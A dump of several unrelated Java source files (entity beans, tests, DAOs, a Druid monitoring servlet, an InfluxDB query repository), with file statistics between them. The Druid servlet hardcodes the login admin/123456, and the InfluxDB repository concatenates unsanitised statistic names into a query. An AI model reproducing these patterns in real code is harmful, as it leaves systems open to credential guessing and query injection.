} catch(Exception e) { throw e; } } public void setcon_a_tiempo(Boolean newcon_a_tiempo)throws Exception { try { if(this.con_a_tiempo!=newcon_a_tiempo) { if(newcon_a_tiempo==null) { //newcon_a_tiempo=false; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna con_a_tiempo"); } } this.con_a_tiempo=newcon_a_tiempo; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public Empresa getEmpresa() { return this.empresa; } public Sucursal getSucursal() { return this.sucursal; } public PreguntaEvaluacion getPreguntaEvaluacion() { return this.preguntaevaluacion; } public Ejercicio getEjercicio() { return this.ejercicio; } public Periodo getPeriodo() { return this.periodo; } public String getempresa_descripcion() { return this.empresa_descripcion; } public String getsucursal_descripcion() { return this.sucursal_descripcion; } public String getpreguntaevaluacion_descripcion() { return this.preguntaevaluacion_descripcion; } public String getejercicio_descripcion() { return this.ejercicio_descripcion; } public String getperiodo_descripcion() { return this.periodo_descripcion; } public void setEmpresa(Empresa empresa) { try { this.empresa=empresa; } catch(Exception e) { ; } } public void setSucursal(Sucursal sucursal) { try { this.sucursal=sucursal; } catch(Exception e) { ; } } public void setPreguntaEvaluacion(PreguntaEvaluacion preguntaevaluacion) { try { this.preguntaevaluacion=preguntaevaluacion; } catch(Exception e) { ; } } public void setEjercicio(Ejercicio ejercicio) { try { this.ejercicio=ejercicio; } catch(Exception e) { ; } } public void setPeriodo(Periodo periodo) { try { this.periodo=periodo; } catch(Exception e) { ; } } public void setempresa_descripcion(String empresa_descripcion) { try { this.empresa_descripcion=empresa_descripcion; } catch(Exception e) { ; } } public void setsucursal_descripcion(String sucursal_descripcion) { try { this.sucursal_descripcion=sucursal_descripcion; } catch(Exception e) { ; } } public void setpreguntaevaluacion_descripcion(String preguntaevaluacion_descripcion) { try { this.preguntaevaluacion_descripcion=preguntaevaluacion_descripcion; } catch(Exception e) { ; } } public void setejercicio_descripcion(String ejercicio_descripcion) { try { this.ejercicio_descripcion=ejercicio_descripcion; } catch(Exception e) { ; } } public void setperiodo_descripcion(String periodo_descripcion) { try { this.periodo_descripcion=periodo_descripcion; } catch(Exception e) { ; } } public List<DetalleEvaluacionProveedor> getDetalleEvaluacionProveedors() { return this.detalleevaluacionproveedors; } public void setDetalleEvaluacionProveedors(List<DetalleEvaluacionProveedor> detalleevaluacionproveedors) { try { this.detalleevaluacionproveedors=detalleevaluacionproveedors; } catch(Exception e) { ; } } /*PARA REPORTES*/ String id_empresa_descripcion="";String id_sucursal_descripcion="";String id_pregunta_evaluacion_descripcion="";String id_ejercicio_descripcion="";String id_periodo_descripcion="";String con_factura_descripcion="";String con_orden_compra_descripcion="";String con_completo_descripcion="";String con_a_tiempo_descripcion=""; public String getid_empresa_descripcion() { return id_empresa_descripcion; } public String getid_sucursal_descripcion() { return id_sucursal_descripcion; } public String getid_pregunta_evaluacion_descripcion() { return id_pregunta_evaluacion_descripcion; } public String getid_ejercicio_descripcion() { return id_ejercicio_descripcion; } public String getid_periodo_descripcion() { return id_periodo_descripcion; } public String getcon_factura_descripcion() { return con_factura_descripcion; } public String getcon_orden_compra_descripcion() { return con_orden_compra_descripcion; } public String getcon_completo_descripcion() { return con_completo_descripcion; } public String getcon_a_tiempo_descripcion() { return con_a_tiempo_descripcion; } public void setid_empresa_descripcion(String newid_empresa_descripcion)throws Exception { try { this.id_empresa_descripcion=newid_empresa_descripcion; } catch(Exception ex) { throw ex; } } public void setid_sucursal_descripcion(String newid_sucursal_descripcion)throws Exception { try { this.id_sucursal_descripcion=newid_sucursal_descripcion; } catch(Exception ex) { throw ex; } } public void setid_pregunta_evaluacion_descripcion(String newid_pregunta_evaluacion_descripcion)throws Exception { try { this.id_pregunta_evaluacion_descripcion=newid_pregunta_evaluacion_descripcion; } catch(Exception ex) { throw ex; } } public void setid_ejercicio_descripcion(String newid_ejercicio_descripcion)throws Exception { try { this.id_ejercicio_descripcion=newid_ejercicio_descripcion; } catch(Exception ex) { throw ex; } } public void setid_periodo_descripcion(String newid_periodo_descripcion)throws Exception { try { this.id_periodo_descripcion=newid_periodo_descripcion; } catch(Exception ex) { throw ex; } } public void setcon_factura_descripcion(String newcon_factura_descripcion)throws Exception { try { this.con_factura_descripcion=newcon_factura_descripcion; } catch(Exception ex) { throw ex; } } public void setcon_orden_compra_descripcion(String newcon_orden_compra_descripcion)throws Exception { try { this.con_orden_compra_descripcion=newcon_orden_compra_descripcion; } catch(Exception ex) { throw ex; } } public void setcon_completo_descripcion(String newcon_completo_descripcion)throws Exception { try { this.con_completo_descripcion=newcon_completo_descripcion; } catch(Exception ex) { throw ex; } } public void setcon_a_tiempo_descripcion(String newcon_a_tiempo_descripcion)throws Exception { try { this.con_a_tiempo_descripcion=newcon_a_tiempo_descripcion; } catch(Exception ex) { throw ex; } } public void inicializarVariablesParaReporte() { this.id_empresa_descripcion="";this.id_sucursal_descripcion="";this.id_pregunta_evaluacion_descripcion="";this.id_ejercicio_descripcion="";this.id_periodo_descripcion="";this.con_factura_descripcion="";this.con_orden_compra_descripcion="";this.con_completo_descripcion="";this.con_a_tiempo_descripcion=""; } Object detalleevaluacionproveedorsDescripcionReporte; public Object getdetalleevaluacionproveedorsDescripcionReporte() { return detalleevaluacionproveedorsDescripcionReporte; } public void setdetalleevaluacionproveedorsDescripcionReporte(Object detalleevaluacionproveedors) { try { this.detalleevaluacionproveedorsDescripcionReporte=detalleevaluacionproveedors; } catch(Exception ex) { ; } } /*PARA REPORTES FIN*/ }
26.199593
325
0.726368
2d8bea5cec582c1f7652941e9d6513e33b8a836b
294
package sft.bar.sandbox; public class Point { public double x, y; public Point (double x, double y) { this.x = x; this.y = y; } public double distance (Point p1) { return Math.round(Math.hypot(p1.x - this.x, p1.y - this.y)); } }
17.294118
69
0.52381
06bf631c451f6b99b76b93ff9b01a11546004490
2,781
/* * Copyright DataStax, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.datastax.dse.protocol.internal.request; import static org.assertj.core.api.Assertions.assertThat; import com.datastax.dse.protocol.internal.DseTestDataProviders; import com.datastax.dse.protocol.internal.request.query.DseQueryOptions; import com.datastax.dse.protocol.internal.request.query.DseQueryOptionsBuilder; import com.datastax.oss.protocol.internal.Message; import com.datastax.oss.protocol.internal.MessageTestBase; import com.datastax.oss.protocol.internal.PrimitiveSizes; import com.datastax.oss.protocol.internal.ProtocolConstants; import com.datastax.oss.protocol.internal.binary.MockBinaryString; import com.datastax.oss.protocol.internal.util.Bytes; import com.tngtech.java.junit.dataprovider.DataProviderRunner; import com.tngtech.java.junit.dataprovider.UseDataProvider; import java.nio.charset.Charset; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DataProviderRunner.class) public class RawBytesQueryTest extends MessageTestBase<RawBytesQuery> { private String queryString = "select * from system.local"; public RawBytesQueryTest() { super(RawBytesQuery.class); } @Override protected Message.Codec newCodec(int protocolVersion) { return new DseQueryCodec(protocolVersion); } @Test @UseDataProvider(location = DseTestDataProviders.class, value = "protocolDseV1OrAbove") public void should_encode(int protocolVersion) { DseQueryOptions queryOptions = new DseQueryOptionsBuilder().build(); byte[] bytes = queryString.getBytes(Charset.forName("UTF-8")); RawBytesQuery initial = new RawBytesQuery(bytes, queryOptions); MockBinaryString encoded = encode(initial, protocolVersion); assertThat(encoded) .isEqualTo( new MockBinaryString() .bytes(Bytes.toHexString(bytes)) .unsignedShort(ProtocolConstants.ConsistencyLevel.ONE) .int_(0x00) // no flags ); assertThat(encodedSize(initial, protocolVersion)) .isEqualTo((PrimitiveSizes.INT + bytes.length) + PrimitiveSizes.SHORT + PrimitiveSizes.INT); // The codec always decodes as a regular Query with DseQueryOptions, so do not cover that again } }
39.169014
100
0.764114
084dcfa52f2fc12ce7e5b38c478ef1de7e64e01f
1,756
package it.smartcommunitylab.cartella.asl.model.ext.infotn; public class TeachingUnitInfoTn { private String extId; private String origin; private String address; private String mgIndirizzoDidattico; private String ordineScuola; private String tipoOrari; private String tipoScuola; private String name; private String description; private String codiceMiur; public String getExtId() { return extId; } public void setExtId(String extId) { this.extId = extId; } public String getOrigin() { return origin; } public void setOrigin(String origin) { this.origin = origin; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getMgIndirizzoDidattico() { return mgIndirizzoDidattico; } public void setMgIndirizzoDidattico(String mgIndirizzoDidattico) { this.mgIndirizzoDidattico = mgIndirizzoDidattico; } public String getOrdineScuola() { return ordineScuola; } public void setOrdineScuola(String ordineScuola) { this.ordineScuola = ordineScuola; } public String getTipoOrari() { return tipoOrari; } public void setTipoOrari(String tipoOrari) { this.tipoOrari = tipoOrari; } public String getTipoScuola() { return tipoScuola; } public void setTipoScuola(String tipoScuola) { this.tipoScuola = tipoScuola; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public String getCodiceMiur() { return codiceMiur; } public void setCodiceMiur(String codiceMiur) { this.codiceMiur = codiceMiur; } }
18.291667
67
0.744875
32eb1737b0de39cc21c677300490d2e3c543705a
1,197
package com.songlea.springboot.demo.servlet; import com.alibaba.druid.support.http.StatViewServlet; import javax.servlet.annotation.WebInitParam; import javax.servlet.annotation.WebServlet; /** * Druid数据库连接池监控界面Servlet * * @author Song Lea */ @WebServlet(urlPatterns = "/druid/*", initParams = { // @WebInitParam(name="allow",value="127.0.0.1,192.168.80.1"), // IP白名单(没有配置或者为空,则允许所有访问) // @WebInitParam(name="deny",value="192.168.80.229"), // IP黑名单(存在共同时,deny优先于allow) @WebInitParam(name = "loginUsername", value = "admin"), // 用户名 @WebInitParam(name = "loginPassword", value = "123456"), // 密码 @WebInitParam(name = "resetEnable", value = "false")}) // 禁用HTML页面上的"Reset All"功能 public class DruidStatViewServlet extends StatViewServlet { private static final long serialVersionUID = 7680837525359550513L; /* 相关于在web.xml中如下配置: <servlet> <servlet-name>DruidStatView</servlet-name> <servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>DruidStatView</servlet-name> <url-pattern>/druid/*</url-pattern> </servlet-mapping> */ }
35.205882
97
0.686717
ff9c24f16bd5432141bf474b9b6aa0fd7fb6f3a0
4,413
/* * Copyright (c) 2014 Hewlett-Packard Development Company, L.P. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.hpcloud.mon.infrastructure.persistence.influxdb; import java.util.ArrayList; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.concurrent.TimeUnit; import javax.annotation.Nullable; import org.influxdb.InfluxDB; import org.influxdb.dto.Serie; import org.joda.time.DateTime; import org.joda.time.format.DateTimeFormatter; import org.joda.time.format.ISODateTimeFormat; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.google.inject.Inject; import com.hpcloud.mon.MonApiConfiguration; import com.hpcloud.mon.domain.model.statistic.StatisticRepository; import com.hpcloud.mon.domain.model.statistic.Statistics; public class StatisticInfluxDbRepositoryImpl implements StatisticRepository { private static final Logger logger = LoggerFactory .getLogger(StatisticInfluxDbRepositoryImpl.class); private final MonApiConfiguration config; private final InfluxDB influxDB; public static final DateTimeFormatter DATETIME_FORMATTER = ISODateTimeFormat.dateTimeNoMillis() .withZoneUTC(); @Inject public StatisticInfluxDbRepositoryImpl(MonApiConfiguration config, InfluxDB influxDB) { this.config = config; this.influxDB = influxDB; } @Override public List<Statistics> find(String tenantId, String name, Map<String, String> dimensions, DateTime startTime, @Nullable DateTime endTime, List<String> statistics, int period) throws Exception { String statsPart = buildStatsPart(statistics); String timePart = Utils.WhereClauseBuilder.buildTimePart(startTime, endTime); String dimsPart = Utils.WhereClauseBuilder.buildDimsPart(dimensions); String periodPart = buildPeriodPart(period); String query = String.format("select time %1$s from %2$s where tenant_id = '%3$s' %4$s %5$s " + "%6$s", statsPart, Utils.SQLSanitizer.sanitize(name), Utils.SQLSanitizer.sanitize(tenantId), timePart, dimsPart, periodPart); logger.debug("Query string: {}", query); List<Serie> result = this.influxDB.Query(this.config.influxDB.getName(), query, TimeUnit.MILLISECONDS); List<Statistics> statisticsList = new LinkedList<Statistics>(); // Should only be one serie -- name. for (Serie serie : result) { Statistics stat = new Statistics(); stat.setName(serie.getName()); List<String> colNamesList = new LinkedList<>(statistics); colNamesList.add(0, "timestamp"); stat.setColumns(colNamesList); stat.setDimensions(dimensions == null ? new HashMap<String, String>() : dimensions); List<List<Object>> valObjArryArry = new LinkedList<List<Object>>(); stat.setStatistics(valObjArryArry); Object[][] pointsArryArry = serie.getPoints(); for (int i = 0; i < pointsArryArry.length; i++) { List<Object> valObjArry = new ArrayList<>(); // First column is always time. Double timeDouble = (Double) pointsArryArry[i][0]; valObjArry.add(DATETIME_FORMATTER.print(timeDouble.longValue())); for (int j = 1; j < statistics.size() + 1; j++) { valObjArry.add(pointsArryArry[i][j]); } valObjArryArry.add(valObjArry); } statisticsList.add(stat); } return statisticsList; } private String buildPeriodPart(int period) { String s = ""; if (period >= 1) { s += String.format("group by time(%1$ds)", period); } return s; } private String buildStatsPart(List<String> statistics) { String s = ""; for (String statistic : statistics) { s += ","; if (statistic.trim().toLowerCase().equals("avg")) { s += " mean(value)"; } else { s += " " + statistic + "(value)"; } } return s; } }
35.02381
100
0.70179
24b3305355cc984727f7cf2fe43780eac645fa1d
417
package com.yuanxiang.gulimall.order.dao; import com.yuanxiang.gulimall.order.entity.OrderOperateHistoryEntity; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import org.apache.ibatis.annotations.Mapper; /** * 订单操作历史记录 * * @author yuanxiang * @email 1045703639@qq.com * @date 2021-03-16 16:42:55 */ @Mapper public interface OrderOperateHistoryDao extends BaseMapper<OrderOperateHistoryEntity> { }
23.166667
87
0.788969
98035cbd3bfc2d334cef8607806da4ecaa6a0c53
5,110
package com.databasir.dao.impl; import com.databasir.dao.tables.pojos.Project; import com.databasir.dao.value.GroupProjectCountPojo; import lombok.Getter; import org.jooq.Condition; import org.jooq.DSLContext; import org.jooq.impl.DSL; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.PageImpl; import org.springframework.data.domain.Pageable; import org.springframework.stereotype.Repository; import java.io.Serializable; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.Optional; import java.util.stream.Collectors; import static com.databasir.dao.Tables.DATA_SOURCE; import static com.databasir.dao.Tables.PROJECT; @Repository public class ProjectDao extends BaseDao<Project> { @Autowired @Getter private DSLContext dslContext; public ProjectDao() { super(PROJECT, Project.class); } public int updateDeletedById(boolean b, Integer projectId) { return dslContext .update(PROJECT).set(PROJECT.DELETED, b).set(PROJECT.DELETED_TOKEN, projectId) .where(PROJECT.ID.eq(projectId)) .execute(); } @Override public <T extends Serializable> Optional<Project> selectOptionalById(T id) { return getDslContext() .select(PROJECT.fields()).from(PROJECT) .where(identity().eq(id).and(PROJECT.DELETED.eq(false))) .fetchOptionalInto(Project.class); } @Override public <T extends Serializable> boolean existsById(T id) { return getDslContext().fetchExists(table(), identity().eq(id).and(PROJECT.DELETED.eq(false))); } public boolean exists(Integer groupId, Integer projectId) { return getDslContext() .fetchExists(table(), identity().eq(projectId) .and(PROJECT.GROUP_ID.eq(groupId)) .and(PROJECT.DELETED.eq(false))); } public Page<Project> selectByCondition(Pageable request, Condition condition) { int total = getDslContext() .selectCount().from(PROJECT) .innerJoin(DATA_SOURCE).on(DATA_SOURCE.PROJECT_ID.eq(PROJECT.ID)) .where(condition) .fetchOne(0, int.class); List<Project> data = getDslContext() .select(PROJECT.fields()).from(PROJECT) .innerJoin(DATA_SOURCE).on(DATA_SOURCE.PROJECT_ID.eq(PROJECT.ID)) .where(condition) .orderBy(getSortFields(request.getSort())) .offset(request.getOffset()).limit(request.getPageSize()) .fetchInto(Project.class); return new PageImpl<>(data, request, total); } public List<GroupProjectCountPojo> selectCountByGroupIds(List<Integer> groupIds) { if (groupIds == null || groupIds.isEmpty()) { return Collections.emptyList(); } String groupIdIn = groupIds.stream() .map(Object::toString) .collect(Collectors.joining(",", "(", ")")); String sql = "select `group`.id group_id, count(project.id) as count from project " + " inner join `group` on `group`.id = project.group_id " + " where project.deleted = false and `group`.id in " + groupIdIn + " group by `group`.id;"; return dslContext.resultQuery(sql).fetchInto(GroupProjectCountPojo.class); } public void deleteByGroupId(Integer groupId) { dslContext .update(PROJECT).set(PROJECT.DELETED, true) .where(PROJECT.GROUP_ID.eq(groupId).and(PROJECT.DELETED.eq(false))) .execute(); } public List<Integer> selectProjectIdsByGroupId(Integer groupId) { return dslContext .select(PROJECT.ID).from(PROJECT) .where(PROJECT.GROUP_ID.eq(groupId).and(PROJECT.DELETED.eq(false))) .fetchInto(Integer.class); } public Map<String, Integer> countByDatabaseTypes(List<String> databaseTypes) { if (databaseTypes == null || databaseTypes.isEmpty()) { return Collections.emptyMap(); } return getDslContext() .select(DSL.count(DATA_SOURCE), DATA_SOURCE.DATABASE_TYPE) .from(DATA_SOURCE) .innerJoin(PROJECT).on(PROJECT.ID.eq(DATA_SOURCE.PROJECT_ID)) .where(PROJECT.DELETED.eq(false)).and(DATA_SOURCE.DATABASE_TYPE.in(databaseTypes)) .groupBy(DATA_SOURCE.DATABASE_TYPE) .fetchMap(DATA_SOURCE.DATABASE_TYPE, DSL.count(DATA_SOURCE)); } public Map<Integer, Integer> selectGroupIdsByProjectIdIn(List<Integer> projectIds) { if (projectIds == null || projectIds.isEmpty()) { return Collections.emptyMap(); } return getDslContext() .select(PROJECT.ID, PROJECT.GROUP_ID) .from(PROJECT) .where(PROJECT.ID.in(projectIds)) .fetchMap(PROJECT.ID, PROJECT.GROUP_ID); } }
39.007634
108
0.635421
720e8b49bb2ebf0c10e997ea91fc2cd506c2e4fe
1,087
package com.jstorm.example.unittests.trident; import backtype.storm.tuple.Fields; import java.util.ArrayList; import java.util.List; /** * Created by binyang.dby on 2016/7/9. * * This is a finite version of the FixedBatchSpout class. * Using the BasicLimitBatchSpout, pick at most maxBatchSize content in the outputs and emit as * a batch. The content will be circle but has a limit. */ public class FixedLimitBatchSpout extends BasicLimitBatchSpout { private List<Object>[] outputs; private int index; public FixedLimitBatchSpout(long limit, Fields fields, int maxBatchSize, List<Object>... outputs) { super(limit, fields, maxBatchSize); this.outputs = outputs; } @Override protected List<List<Object>> getBatchContent(int maxBatchSize) { List<List<Object>> returnBatch = new ArrayList<List<Object>>(); if(index >= outputs.length) index = 0; for(int i = 0; i < maxBatchSize && index < outputs.length; i++, index++) returnBatch.add(outputs[index]); return returnBatch; } }
28.605263
103
0.684453
022149744c08b2a6ab892a90ca174ce286c8ff0d
2,735
/* * DBeaver - Universal Database Manager * Copyright (C) 2013-2015 Denis Forveille (titou10.titou10@gmail.com) * Copyright (C) 2010-2019 Serge Rider (serge@jkiss.org) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jkiss.dbeaver.ext.db2.model; import org.jkiss.code.NotNull; import org.jkiss.dbeaver.DBException; import org.jkiss.dbeaver.model.impl.jdbc.JDBCUtils; import org.jkiss.dbeaver.model.meta.Property; import java.nio.charset.StandardCharsets; import java.sql.ResultSet; /** * DB2 Package Statement * * @author Denis Forveille */ public class DB2PackageStatement extends DB2Object<DB2Package> { private static final int MAX_LENGTH_TEXT = 132; private Integer lineNumber; private String text; private String uniqueId; private String version; // ----------------------- // Constructors // ----------------------- public DB2PackageStatement(DB2Package db2Package, ResultSet resultSet) throws DBException { super(db2Package, String.valueOf(JDBCUtils.safeGetInteger(resultSet, "SECTNO")), true); this.lineNumber = JDBCUtils.safeGetInteger(resultSet, "STMTNO"); this.text = JDBCUtils.safeGetString(resultSet, "TEXT"); this.version = JDBCUtils.safeGetString(resultSet, "VERSION"); this.uniqueId = new String(JDBCUtils.safeGetBytes(resultSet, "UNIQUE_ID"), StandardCharsets.UTF_8); } // ----------------- // Properties // ----------------- @NotNull @Override @Property(viewable = true, order = 1) public String getName() { return super.getName(); } @Property(viewable = true, order = 2) public Integer getLineNumber() { return lineNumber; } @Property(viewable = true, order = 3) public String getUniqueId() { return uniqueId; } @Property(viewable = true, order = 4) public String getVersion() { return version; } @Property(viewable = true, order = 5) public String getTextPreview() { return text.substring(0, Math.min(MAX_LENGTH_TEXT, text.length())); } @Property(viewable = false, order = 6) public String getText() { return text; } }
27.908163
107
0.663254
a87c4579ac3f4e899553940c5546a0a6d77811ee
1,081
package org.springframework.credhub.support; /** * The acceptable values for the {@code mode} parameter on a set or generate request, * indicating the action CredHub should take when the credential being set or generated * already exists. * * @author Scott Frederick */ public enum WriteMode { /** * Indicates that CredHub should not replace the value of a credential * if the credential exists */ NO_OVERWRITE("no-overwrite"), /** * Indicates that CredHub should replace any existing credential * value with a new value */ OVERWRITE("overwrite"), /** * Indicates that CredHub should replace any existing credential * value with a new value only if generation parameters are different * from the original generation parameters */ CONVERGE("converge"); private final String mode; WriteMode(String mode) { this.mode = mode; } /** * Get the {@code mode} value as a {@code String} * * @return the mode value */ public String getMode() { return mode; } /** * {@inheritDoc} */ public String toString() { return mode; } }
20.788462
87
0.695652
e4d2c539cd9686cb797e5fc603e388c5931899f4
4,972
package org.vogu35.ocr.ui.main; import android.content.Intent; import android.graphics.Color; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import androidx.annotation.NonNull; import androidx.appcompat.app.AlertDialog; import androidx.constraintlayout.widget.ConstraintLayout; import androidx.fragment.app.Fragment; import org.vogu35.ocr.R; import org.vogu35.ocr.Utilities; import java.io.File; /** * Фрагмент "Настройки программы". * Предназначен для предоставления пользователю возможностей изменения насттроек приложения (смена цветовой схемы, очистка кеша). */ public class SettingsFragment extends Fragment { private final static int THEME_LIGHT = 1; private final static int THEME_DARK = 2; /** * Объект класса Utilities. */ private Utilities utils = new Utilities(getContext()); /** * Метод диначеского создания нового экземпляра данного фрагмента. */ public static SettingsFragment newInstance() { return new SettingsFragment(); } /** * Метод перезапуска активити (применяется для корректного изменения цветовой схемы приложения). */ private void recreateActivity() { Intent intent = getActivity().getIntent(); intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); getActivity().finish(); getActivity().overridePendingTransition(0, 0); startActivity(intent); getActivity().overridePendingTransition(0, 0); } /** * Основной метод фрагмента. * В нем реализуется инициализация интерфейса, находятся обработчики кнопок и т.д. */ @Override public View onCreateView(@NonNull final LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { final View rootView = inflater.inflate(R.layout.settings_fragment, container, false); ConstraintLayout home_layout = rootView.findViewById(R.id.settings_layout); Button light_theme_btn = rootView.findViewById(R.id.lightThemeBtn); Button dark_theme_btn = rootView.findViewById(R.id.darkThemeBtn); Button clearCache = rootView.findViewById(R.id.clearCache); if (utils.getTheme(getActivity().getApplicationContext()) == 1) { home_layout.setBackgroundColor(Color.parseColor("#ffffff")); light_theme_btn.setCompoundDrawablesWithIntrinsicBounds(getContext().getResources().getDrawable(R.drawable.okeysmalllogo), null, null, null); } if (utils.getTheme(getActivity().getApplicationContext()) == 2) { home_layout.setBackgroundColor(Color.parseColor("#2d2d2d")); dark_theme_btn.setCompoundDrawablesWithIntrinsicBounds(getContext().getResources().getDrawable(R.drawable.okeysmalllogo), null, null, null); } light_theme_btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { utils.setTheme(getContext(), THEME_LIGHT); recreateActivity(); } }); dark_theme_btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { utils.setTheme(getContext(), THEME_DARK); recreateActivity(); } }); clearCache.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { final View progressDialogView = inflater.inflate(R.layout.progress_dialog, null); AlertDialog.Builder progressDialogBuilder = new AlertDialog.Builder(getActivity()); progressDialogBuilder.setView(progressDialogView); progressDialogBuilder.setCancelable(false); final AlertDialog progressDialog = progressDialogBuilder.create(); progressDialog.show(); final Handler handler = new Handler(); handler.postDelayed(new Runnable() { @Override public void run() { if (utils.deleteDir(new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES), "OCR"))) { progressDialog.dismiss(); utils.createOCRFolder(); utils.copyAssets("rus.traineddata"); utils.copyAssets("eng.traineddata"); utils.showSnackBar(getView(), getResources().getString(R.string.cleanup_success)); } else { utils.showSnackBar(getView(), getResources().getString(R.string.cleanup_error)); } } }, 1500); } }); return rootView; } }
38.84375
153
0.642599
9ee8ce8d335bb9ca6e4f0ed27697266ae7752aa7
4,076
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * * Copyright (C) 2006-2010 Adele Team/LIG/Grenoble University, France */ package fr.imag.adele.cadse.cadseg.pages.content; import fr.imag.adele.cadse.cadseg.IC_ItemTypeTemplateForText; import fr.imag.adele.cadse.cadseg.managers.content.ManagerManager; import fr.imag.adele.cadse.core.CadseGCST; import fr.imag.adele.cadse.core.Item; import fr.imag.adele.cadse.core.ItemType; import fr.imag.adele.cadse.core.LinkType; import fr.imag.adele.cadse.core.impl.ui.mc.MC_AttributesItem; import fr.imag.adele.cadse.core.ui.EPosLabel; import fr.imag.adele.cadse.si.workspace.uiplatform.swt.ui.DTextUI; /** * @generated */ public class FileContentModelCreationPage1_CreationPage extends ResourceContentModelCreationPage1_CreationPage { /** * @generated */ protected DTextUI fieldFileName; /** * @generated */ protected DTextUI fieldFilePath; /** * @generated */ protected FileContentModelCreationPage1_CreationPage(String id, String label, String title, String description, boolean isPageComplete, int hspan) { super(id, label, title, description, isPageComplete, hspan); } /** * @generated */ public FileContentModelCreationPage1_CreationPage(Item parent, ItemType it, LinkType lt) { super("creation-page1", "Create FileContentModel", "Create FileContentModel", "", false, 3); this.parent = parent; this.it = it; this.lt = lt; this.fieldExtendsClass = createFieldExtendsClass(); this.fieldFileName = createFieldFileName(); this.fieldFilePath = createFieldFilePath(); setActionPage(null); addLast(this.fieldExtendsClass, this.fieldFileName, this.fieldFilePath); registerListener(); } @Override protected void registerListener() { super.registerListener(); // add init and register } // /* // * (non-Javadoc) // * // * @see // model.workspace.workspace.managers.content.ContentModelManager#createCreationPages(fr.imag.adele.cadse.core.Item, // * fr.imag.adele.cadse.core.LinkType, // * fr.imag.adele.cadse.core.ItemType) // */ // @Override // public Pages createCreationPages(Item theItemParent, LinkType // theLinkType, ItemType desType) { // // ItemType it = desType; // // String title = it.getAttribute("title-create"); // CreationAction action = new CreationAction(theItemParent, desType, // theLinkType, it.getShortName()); // // return FieldsCore.createWizard(action, FieldsCore.createPage("page1", // "Create " + title, "Create " + title, 3, // FieldsCore.createCheckBox(CadseGCST.CONTENT_MODEL_at_EXTENDS_CLASS, // "extends class"), // createFileNameField(), createFilePathField())); // } // /* // * (non-Javadoc) // * // * @see // model.workspace.workspace.managers.content.ContentModelManager#createModificationPage(fr.imag.adele.cadse.core.Item) // */ // @Override // public Pages createModificationPage(Item item) { // AbstractActionPage action = new ModificationAction(item); // // ItemType it = item.getType(); // // String title = it.getAttribute("title-create"); // // return FieldsCore.createWizard(action, FieldsCore.createPage("page1", // "Create " + title, "Create " + title, 3, // FieldsCore.createCheckBox(CadseGCST.CONTENT_MODEL_at_EXTENDS_CLASS, // "extends class"), // createFileNameField(), createFilePathField())); // } }
30.878788
120
0.733808
1a2e0754a71a18c9664c953414122ea2ad93112a
12,564
/* Derby - Class com.pivotal.gemfirexd.internal.iapi.sql.dictionary.ViewDescriptor Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package com.pivotal.gemfirexd.internal.iapi.sql.dictionary; import com.pivotal.gemfirexd.internal.catalog.Dependable; import com.pivotal.gemfirexd.internal.catalog.DependableFinder; import com.pivotal.gemfirexd.internal.catalog.UUID; import com.pivotal.gemfirexd.internal.iapi.error.StandardException; import com.pivotal.gemfirexd.internal.iapi.reference.SQLState; import com.pivotal.gemfirexd.internal.iapi.services.context.ContextService; import com.pivotal.gemfirexd.internal.iapi.services.sanity.SanityManager; import 